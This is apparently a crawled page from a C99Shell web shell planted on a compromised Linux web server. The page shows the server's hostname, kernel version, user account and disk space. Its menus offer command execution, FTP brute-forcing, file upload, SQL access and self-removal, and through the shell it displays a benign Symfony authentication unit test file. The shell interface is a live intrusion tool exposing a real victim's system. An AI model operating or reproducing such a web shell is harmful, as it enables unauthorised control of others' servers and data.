!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Security/Symfony/Component/Security/Core/Tests/Authentication/   drwxr-xr-x
Free 293.9 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AuthenticationProviderManagerTest.php (5.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Security\Core\Tests\Authentication;

use 
Symfony\Component\Security\Core\Authentication\AuthenticationProviderManager;
use 
Symfony\Component\Security\Core\Exception\ProviderNotFoundException;
use 
Symfony\Component\Security\Core\Exception\AuthenticationException;
use 
Symfony\Component\Security\Core\Exception\AccountStatusException;
use 
Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;

class 
AuthenticationProviderManagerTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testAuthenticateWithoutProviders()
    {
        new 
AuthenticationProviderManager(array());
    }

    public function 
testAuthenticateWhenNoProviderSupportsToken()
    {
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(false),
        ));

        try {
            
$manager->authenticate($token $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
            
$this->fail();
        } catch (
ProviderNotFoundException $e) {
            
$this->assertSame($token$e->getToken());
        }
    }

    public function 
testAuthenticateWhenProviderReturnsAccountStatusException()
    {
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(truenull'Symfony\Component\Security\Core\Exception\AccountStatusException'),
        ));

        try {
            
$manager->authenticate($token $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
            
$this->fail();
        } catch (
AccountStatusException $e) {
            
$this->assertSame($token$e->getToken());
        }
    }

    public function 
testAuthenticateWhenProviderReturnsAuthenticationException()
    {
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(truenull'Symfony\Component\Security\Core\Exception\AuthenticationException'),
        ));

        try {
            
$manager->authenticate($token $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
            
$this->fail();
        } catch (
AuthenticationException $e) {
            
$this->assertSame($token$e->getToken());
        }
    }

    public function 
testAuthenticateWhenOneReturnsAuthenticationExceptionButNotAll()
    {
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(truenull'Symfony\Component\Security\Core\Exception\AuthenticationException'),
            
$this->getAuthenticationProvider(true$expected $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface')),
        ));

        
$token $manager->authenticate($this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
        
$this->assertSame($expected$token);
    }

    public function 
testAuthenticateReturnsTokenOfTheFirstMatchingProvider()
    {
        
$second $this->getMock('Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface');
        
$second
            
->expects($this->never())
            ->
method('supports')
        ;
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(true$expected $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface')),
            
$second,
        ));

        
$token $manager->authenticate($this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
        
$this->assertSame($expected$token);
    }

    public function 
testEraseCredentialFlag()
    {
        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(true$token = new UsernamePasswordToken('foo''bar''key')),
        ));

        
$token $manager->authenticate($this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
        
$this->assertEquals(''$token->getCredentials());

        
$manager = new AuthenticationProviderManager(array(
            
$this->getAuthenticationProvider(true$token = new UsernamePasswordToken('foo''bar''key')),
        ), 
false);

        
$token $manager->authenticate($this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface'));
        
$this->assertEquals('bar'$token->getCredentials());
    }

    protected function 
getAuthenticationProvider($supports$token null$exception null)
    {
        
$provider $this->getMock('Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface');
        
$provider->expects($this->once())
                 ->
method('supports')
                 ->
will($this->returnValue($supports))
        ;

        if (
null !== $token) {
            
$provider->expects($this->once())
                     ->
method('authenticate')
                     ->
will($this->returnValue($token))
            ;
        } elseif (
null !== $exception) {
            
$provider->expects($this->once())
                     ->
method('authenticate')
                     ->
will($this->throwException($this->getMock($exceptionnull, array(), ''false)))
            ;
        }

        return 
$provider;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--